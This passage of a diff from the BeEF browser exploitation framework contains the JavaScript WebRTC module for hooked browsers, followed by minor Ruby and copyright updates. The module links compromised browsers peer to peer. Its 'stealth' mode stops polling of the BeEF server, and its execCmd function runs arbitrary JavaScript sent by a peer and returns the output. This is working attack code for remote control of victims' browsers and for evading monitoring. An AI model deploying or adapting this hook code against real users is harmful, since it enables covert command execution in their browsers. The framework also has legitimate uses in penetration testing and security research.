this.turnDone = false; // does the pcConfig have TURN servers added to it?
|
||||
this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
|
||||
// the receiver will set this to true once it receives an SDP 'offer'
|
||||
this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
|
||||
this.pcConfig = null; // We set this during init
|
||||
this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
|
||||
this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
|
||||
this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
|
||||
this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
|
||||
this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
|
||||
this.dataChannel = null; // The data channel used by this peer
|
||||
this.stunservers = stunservers; // set of STUN servers, in the format:
|
||||
// ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
|
||||
}
|
||||
|
||||
// Initialize the object
|
||||
Beefwebrtc.prototype.initialize = function() {
|
||||
if (this.peerid == null) {
|
||||
return 0; // no peerid - NO DICE
|
||||
}
|
||||
|
||||
// Initialise the pcConfig hash with the provided stunservers
|
||||
var stuns = JSON.parse(this.stunservers);
|
||||
this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
|
||||
"credential":"pass"}]};
|
||||
|
||||
// We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
|
||||
// this.forceTurn(this.turnjson);
|
||||
this.turnDone = true;
|
||||
|
||||
// Caller is always ready to create peerConnection.
|
||||
this.signalingReady = this.initiator;
|
||||
|
||||
// Start .. maybe
|
||||
this.maybeStart();
|
||||
|
||||
// If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
|
||||
// window.onbeforeunload = function() {
|
||||
// this.sendSignalMsg({type: 'bye'});
|
||||
// }
|
||||
|
||||
return 1; // because .. yeah .. we had a peerid - this is good yar.
|
||||
}
|
||||
|
||||
//Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
|
||||
//These values are now simply passed in from the config.yaml for the webrtc extension
|
||||
Beefwebrtc.prototype.forceTurn = function(jason) {
|
||||
var turnServer = JSON.parse(jason);
|
||||
var iceServers = createIceServers(turnServer.uris,
|
||||
turnServer.username,
|
||||
turnServer.password);
|
||||
if (iceServers !== null) {
|
||||
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
|
||||
}
|
||||
if (this.verbose) {beef.debug("Got TURN servers, will try and maybestart again..");}
|
||||
this.turnDone = true;
|
||||
this.maybeStart();
|
||||
}
|
||||
|
||||
// Try and establish the RTC connection
|
||||
Beefwebrtc.prototype.createPeerConnection = function() {
|
||||
if (this.verbose) {
|
||||
beef.debug('Creating RTCPeerConnnection with the following options:\n' +
|
||||
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
||||
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
||||
}
|
||||
try {
|
||||
// Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
|
||||
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
|
||||
globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
|
||||
if (this.verbose) {
|
||||
beef.debug('Created RTCPeerConnnection with the following options:\n' +
|
||||
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
||||
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
||||
}
|
||||
} catch (e) {
|
||||
if (this.verbose) {
|
||||
beef.debug('Failed to create PeerConnection, exception: ');
|
||||
beef.debug(e);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
|
||||
globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
|
||||
globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
|
||||
globalrtc[this.peerid].ondatachannel = this.onDataChannel;
|
||||
this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
|
||||
}
|
||||
|
||||
// When the PeerConnection receives a new ICE Candidate
|
||||
Beefwebrtc.prototype.onIceCandidate = function(event) {
|
||||
var peerid = null;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].allgood === false) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
|
||||
if (beefrtcs[peerid].verbose) {
|
||||
beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
|
||||
beef.debug(event);
|
||||
}
|
||||
|
||||
if (event.candidate) {
|
||||
// Send the candidate to the peer via the BeEF signalling channel
|
||||
beefrtcs[peerid].sendSignalMsg({type: 'candidate',
|
||||
label: event.candidate.sdpMLineIndex,
|
||||
id: event.candidate.sdpMid,
|
||||
candidate: event.candidate.candidate});
|
||||
// Note this ICE candidate locally
|
||||
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
|
||||
} else {
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('End of candidates.');}
|
||||
}
|
||||
}
|
||||
|
||||
// For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
|
||||
// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
|
||||
// against the message directly
|
||||
Beefwebrtc.prototype.processMessage = function(message) {
|
||||
if (this.verbose) {
|
||||
beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
|
||||
}
|
||||
var msg = JSON.parse(message);
|
||||
|
||||
if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
|
||||
if (this.verbose) {beef.debug('processing the message, as a receiver');}
|
||||
if (msg.type === 'offer') { // This IS an SDP Offer
|
||||
if (this.verbose) {beef.debug('.. and the message is an offer .. ');}
|
||||
this.msgQueue.unshift(msg); // put it on the top of the msgqueue
|
||||
this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
|
||||
this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
|
||||
} else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
|
||||
if (this.verbose) {beef.debug(' .. the message is NOT an offer .. ');}
|
||||
this.msgQueue.push(msg);
|
||||
}
|
||||
} else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
|
||||
if (this.verbose) {beef.debug('processing the message, as the sender, no answers yet');}
|
||||
if (msg.type === 'answer') { // This IS an SDP Answer
|
||||
if (this.verbose) {beef.debug('.. and we have an answer ..');}
|
||||
this.processSignalingMessage(msg); // Process the message directly
|
||||
this.gotanswer = true; // We have now received an answer
|
||||
//process all other queued message...
|
||||
while (this.msgQueue.length > 0) {
|
||||
this.processSignalingMessage(this.msgQueue.shift());
|
||||
}
|
||||
} else { // This is NOT an SDP Answer - as the caller, just add it to the queue
|
||||
if (this.verbose) {beef.debug('.. not an answer ..');}
|
||||
this.msgQueue.push(msg);
|
||||
}
|
||||
} else { // For all other messages just drop them in the queue
|
||||
if (this.verbose) {beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');}
|
||||
this.processSignalingMessage(msg);
|
||||
}
|
||||
}
|
||||
|
||||
// Send a signalling message ..
|
||||
Beefwebrtc.prototype.sendSignalMsg = function(message) {
|
||||
var msgString = JSON.stringify(message);
|
||||
if (this.verbose) {beef.debug('Signalling Message - C->S: ' + msgString);}
|
||||
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
|
||||
}
|
||||
|
||||
// Used to record ICS candidates locally
|
||||
Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
|
||||
if (this.gatheredIceCandidateTypes[location][type])
|
||||
return;
|
||||
this.gatheredIceCandidateTypes[location][type] = 1;
|
||||
// updateInfoDiv();
|
||||
}
|
||||
|
||||
// When the signalling state changes. We don't actually do anything with this except log it.
|
||||
Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (localverbose === true) {beef.debug("Signalling has changed to: " + event.target.signalingState);}
|
||||
}
|
||||
|
||||
// When the ICE Connection State changes - this is useful to determine connection statuses with peers.
|
||||
Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
|
||||
var peerid = null;
|
||||
|
||||
for (k in globalrtc) {
|
||||
if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
|
||||
peerid = k;
|
||||
}
|
||||
}
|
||||
|
||||
if (beefrtcs[peerid].verbose) {beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);}
|
||||
|
||||
// ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
|
||||
// better candidates or connections
|
||||
if (event.target.iceConnectionState === 'connected') {
|
||||
//Send status to peer
|
||||
window.setTimeout(function() {
|
||||
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
|
||||
beefrtcs[peerid].allgood = true;
|
||||
},1000);
|
||||
}
|
||||
|
||||
// Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
|
||||
if (event.target.iceConnectionState === 'completed') {
|
||||
window.setTimeout(function() {
|
||||
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
|
||||
beefrtcs[peerid].allgood = true;
|
||||
},1000);
|
||||
}
|
||||
|
||||
if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
|
||||
//I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
|
||||
rtcstealth = false;
|
||||
beefrtcs[peerid].allgood = false;
|
||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
|
||||
} else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
|
||||
//I was not in stealth, and this peer has gone offline - send a message
|
||||
beefrtcs[peerid].allgood = false;
|
||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
|
||||
}
|
||||
// We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
|
||||
// This is possibly a bad idea - @xntrik
|
||||
|
||||
|
||||
}
|
||||
|
||||
// This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
|
||||
Beefwebrtc.prototype.goStealth = function() {
|
||||
//stop the beef updater
|
||||
rtcstealth = this.peerid; // this is a global variable
|
||||
beef.updater.lock = true;
|
||||
this.sendPeerMsg('Going into stealth mode');
|
||||
|
||||
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
|
||||
}
|
||||
|
||||
// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
|
||||
rtcpollPeer = function() {
|
||||
if (rtcstealth == false) {
|
||||
//my peer has disabled stealth mode
|
||||
beef.updater.lock = false;
|
||||
return;
|
||||
}
|
||||
|
||||
if (beefrtcs[rtcstealth].verbose) {beef.debug('lub dub');}
|
||||
|
||||
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
|
||||
|
||||
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
|
||||
}
|
||||
|
||||
// When a data channel has been established - within here is the message handling function as well
|
||||
Beefwebrtc.prototype.onDataChannel = function(event) {
|
||||
var peerid = null;
|
||||
for (k in globalrtc) {
|
||||
if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
|
||||
peerid = k;
|
||||
}
|
||||
}
|
||||
|
||||
if (beefrtcs[peerid].verbose) {beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");}
|
||||
rtcrecvchan[peerid] = event.channel;
|
||||
|
||||
// This is the onmessage event handling within the datachannel
|
||||
rtcrecvchan[peerid].onmessage = function(ev2) {
|
||||
if (beefrtcs[peerid].verbose) {beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);}
|
||||
|
||||
// We've received the command to go into stealth mode
|
||||
if (ev2.data == "!gostealth") {
|
||||
if (beef.updater.lock == true) {
|
||||
setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
|
||||
} else {
|
||||
beefrtcs[peerid].goStealth();
|
||||
}
|
||||
|
||||
// The message to come out of stealth
|
||||
} else if (ev2.data == "!endstealth") {
|
||||
|
||||
if (rtcstealth != null) {
|
||||
beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
|
||||
rtcstealth = false;
|
||||
}
|
||||
|
||||
// Command to perform arbitrary JS (while stealthed)
|
||||
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');}
|
||||
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
|
||||
|
||||
// Command to perform arbitrary JS (while NOT stealthed)
|
||||
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));}
|
||||
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
|
||||
|
||||
// Just a plain text message .. (while stealthed)
|
||||
} else if (rtcstealth != false) {
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');}
|
||||
beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
|
||||
|
||||
// Just a plan text message (while NOT stealthed)
|
||||
} else {
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('received a message from peer['+peerid+'] - sending it back to beef');}
|
||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// How the browser executes received JS (this is pretty hacky)
|
||||
Beefwebrtc.prototype.execCmd = function(input) {
|
||||
var fn = new Function(input);
|
||||
var res = fn();
|
||||
return res.toString();
|
||||
}
|
||||
|
||||
// Shortcut function to SEND a data messsage
|
||||
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
|
||||
if (this.verbose) {beef.debug('sendPeerMsg to ' + this.peerid);}
|
||||
this.dataChannel.send(msg);
|
||||
}
|
||||
|
||||
// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
|
||||
Beefwebrtc.prototype.maybeStart = function() {
|
||||
if (this.verbose) {beef.debug("maybe starting ... ");}
|
||||
|
||||
if (!this.started && this.signalingReady && this.turnDone) {
|
||||
if (this.verbose) {beef.debug('Creating PeerConnection.');}
|
||||
this.createPeerConnection();
|
||||
|
||||
this.started = true;
|
||||
|
||||
if (this.initiator) {
|
||||
if (this.verbose) {beef.debug("Making the call now .. bzz bzz");}
|
||||
this.doCall();
|
||||
} else {
|
||||
if (this.verbose) {beef.debug("Receiving a call now .. somebuddy answer da fone?");}
|
||||
this.calleeStart();
|
||||
}
|
||||
|
||||
} else {
|
||||
if (this.verbose) {beef.debug("Not ready to start just yet..");}
|
||||
}
|
||||
}
|
||||
|
||||
// RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
|
||||
Beefwebrtc.prototype.doCall = function() {
|
||||
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
|
||||
var self = this;
|
||||
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
|
||||
if (this.verbose) {beef.debug('Sending offer to peer, with constraints: \n' +
|
||||
' \'' + JSON.stringify(constraints) + '\'.');}
|
||||
}
|
||||
|
||||
// Helper method to merge SDP constraints
|
||||
Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
|
||||
var merged = cons1;
|
||||
for (var name in cons2.mandatory) {
|
||||
merged.mandatory[name] = cons2.mandatory[name];
|
||||
}
|
||||
merged.optional.concat(cons2.optional);
|
||||
return merged;
|
||||
}
|
||||
|
||||
// Sets the local RTC session description, sends this information back (via signalling)
|
||||
// The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
|
||||
// The receiver uses this information too - and vice-versa - hence the signaling
|
||||
Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
|
||||
// This fucking function does NOT receive a 'this' state, and you can't pass additional parameters
|
||||
// Stupid .. javascript :(
|
||||
// So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently
|
||||
// i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the next one..
|
||||
var peerid = null;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].allgood === false) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
if (beefrtcs[peerid].verbose) {beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");}
|
||||
|
||||
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
|
||||
beefrtcs[peerid].sendSignalMsg(sessionDescription);
|
||||
|
||||
function onSetSessionDescriptionSuccess() {
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('Set session description success.');}
|
||||
}
|
||||
|
||||
function onSetSessionDescriptionError() {
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('Failed to set session description');}
|
||||
}
|
||||
}
|
||||
|
||||
// If the browser can't build an SDP
|
||||
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {beef.debug('Failed to create session description: ' + error.toString());}
|
||||
}
|
||||
|
||||
// If the browser successfully sets a remote description
|
||||
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {beef.debug('Set remote session description successfully');}
|
||||
}
|
||||
|
||||
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
|
||||
Beefwebrtc.prototype.calleeStart = function() {
|
||||
// Callee starts to process cached offer and other messages.
|
||||
while (this.msgQueue.length > 0) {
|
||||
this.processSignalingMessage(this.msgQueue.shift());
|
||||
}
|
||||
}
|
||||
|
||||
// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
|
||||
Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
||||
if (!this.started) {
|
||||
if (this.verbose) {beef.debug('peerConnection has not been created yet!');}
|
||||
return;
|
||||
}
|
||||
|
||||
if (message.type === 'offer') {
|
||||
if (this.verbose) {beef.debug("Processing signalling message: OFFER");}
|
||||
if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
|
||||
// version of FF - which no longer works
|
||||
if (this.verbose) {beef.debug("Moz shim here");}
|
||||
globalrtc[this.peerid].setRemoteDescription(
|
||||
new RTCSessionDescription(message),
|
||||
function() {
|
||||
// globalrtc[this.peerid].createAnswer(function(answer) {
|
||||
// globalrtc[this.peerid].setLocalDescription(
|
||||
|
||||
var peerid = null;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].allgood === false) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
|
||||
globalrtc[peerid].createAnswer(function(answer) {
|
||||
globalrtc[peerid].setLocalDescription(
|
||||
new RTCSessionDescription(answer),
|
||||
function() {
|
||||
beefrtcs[peerid].sendSignalMsg(answer);
|
||||
},function(error) {
|
||||
beef.debug("setLocalDescription error: " + error);
|
||||
});
|
||||
},function(error) {
|
||||
beef.debug("createAnswer error: " +error);
|
||||
});
|
||||
},function(error) {
|
||||
beef.debug("setRemoteDescription error: " + error);
|
||||
});
|
||||
|
||||
} else {
|
||||
this.setRemote(message);
|
||||
this.doAnswer();
|
||||
}
|
||||
} else if (message.type === 'answer') {
|
||||
if (this.verbose) {beef.debug("Processing signalling message: ANSWER");}
|
||||
if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
|
||||
if (this.verbose) {beef.debug("Moz shim here");}
|
||||
globalrtc[this.peerid].setRemoteDescription(
|
||||
new RTCSessionDescription(message),
|
||||
function() {},
|
||||
function(error) {
|
||||
beef.debug("setRemoteDescription error: " + error);
|
||||
});
|
||||
} else {
|
||||
this.setRemote(message);
|
||||
}
|
||||
} else if (message.type === 'candidate') {
|
||||
if (this.verbose) {beef.debug("Processing signalling message: CANDIDATE");}
|
||||
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
|
||||
candidate: message.candidate});
|
||||
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
|
||||
globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
|
||||
} else if (message.type === 'bye') {
|
||||
this.onRemoteHangup();
|
||||
}
|
||||
}
|
||||
|
||||
// Used to set the RTC remote session
|
||||
Beefwebrtc.prototype.setRemote = function(message) {
|
||||
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
|
||||
this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
|
||||
|
||||
// function onSetRemoteDescriptionSuccess() {
|
||||
// if (this.verbose) {beef.debug("Set remote session description success.");}
|
||||
// }
|
||||
}
|
||||
|
||||
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
|
||||
Beefwebrtc.prototype.doAnswer = function() {
|
||||
if (this.verbose) {beef.debug('Sending answer to peer.');}
|
||||
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
|
||||
}
|
||||
|
||||
// Helper method to determine what kind of ICE Candidate we've received
|
||||
Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
|
||||
if (candidateSDP.indexOf("typ relay ") >= 0)
|
||||
return "TURN";
|
||||
if (candidateSDP.indexOf("typ srflx ") >= 0)
|
||||
return "STUN";
|
||||
if (candidateSDP.indexOf("typ host ") >= 0)
|
||||
return "HOST";
|
||||
return "UNKNOWN";
|
||||
}
|
||||
|
||||
// Event handler for successful addition of ICE Candidates
|
||||
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {beef.debug('AddIceCandidate success.');}
|
||||
}
|
||||
|
||||
// Event handler for unsuccessful addition of ICE Candidates
|
||||
Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {beef.debug('Failed to add Ice Candidate: ' + error.toString());}
|
||||
}
|
||||
|
||||
// If a peer hangs up (we bring down the peerconncetion via the stop() method)
|
||||
Beefwebrtc.prototype.onRemoteHangup = function() {
|
||||
if (this.verbose) {beef.debug('Session terminated.');}
|
||||
this.initiator = 0;
|
||||
// transitionToWaiting();
|
||||
this.stop();
|
||||
}
|
||||
|
||||
// Bring down the peer connection
|
||||
Beefwebrtc.prototype.stop = function() {
|
||||
this.started = false; // we're no longer started
|
||||
this.signalingReady = false; // signalling isn't ready
|
||||
globalrtc[this.peerid].close(); // close the RTCPeerConnection option
|
||||
globalrtc[this.peerid] = null; // Remove it
|
||||
this.msgQueue.length = 0; // clear the msgqueue
|
||||
rtcstealth = false; // no longer stealth
|
||||
this.allgood = false; // allgood .. NAH UH
|
||||
}
|
||||
|
||||
// The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
|
||||
// These are the methods which are executed via the custom extension of the hook.js
|
||||
beef.webrtc = {
|
||||
// Start the RTCPeerConnection process
|
||||
start: function(initiator,peer,turnjson,stunservers,verbose) {
|
||||
if (peer in beefrtcs) {
|
||||
// If the RTC peer is not in a good state, try kickng it off again
|
||||
// This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
|
||||
if (beefrtcs[peer].allgood == false) {
|
||||
beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
|
||||
beefrtcs[peer].initialize();
|
||||
}
|
||||
} else {
|
||||
// Standard behaviour for new peer connections
|
||||
beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
|
||||
beefrtcs[peer].initialize();
|
||||
}
|
||||
},
|
||||
|
||||
// Check the status of all my peers ..
|
||||
status: function(me) {
|
||||
if (Object.keys(beefrtcs).length > 0) {
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs.hasOwnProperty(k)) {
|
||||
beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
|
||||
}
|
||||
}
|
||||
} else {
|
||||
beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
|
||||
}
|
||||
}
|
||||
}
|
||||
beef.regCmp('beef.webrtc');
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -86,7 +86,9 @@ module Banners
|
||||
print_success "running on network interface: #{host}"
|
||||
beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
|
||||
data = "Hook URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
|
||||
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.web_ui_basepath")}/panel\n"
|
||||
if configuration.get("beef.extension.admin_ui.enable")
|
||||
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.web_ui_basepath")}/panel\n"
|
||||
end
|
||||
|
||||
print_more data
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -18,6 +18,7 @@ module BeEF
|
||||
@options[:ext_config] = ""
|
||||
@options[:port] = ""
|
||||
@options[:ws_port] = ""
|
||||
@options[:interactive] = false
|
||||
|
||||
|
||||
@already_parsed = false
|
||||
@@ -54,6 +55,10 @@ module BeEF
|
||||
opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port|
|
||||
@options[:ws_port] = ws_port
|
||||
end
|
||||
|
||||
opts.on('-i', '--interactive', 'Starts with the Console Shell activated') do
|
||||
@options[:interactive] = true
|
||||
end
|
||||
end
|
||||
|
||||
optparse.parse!
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
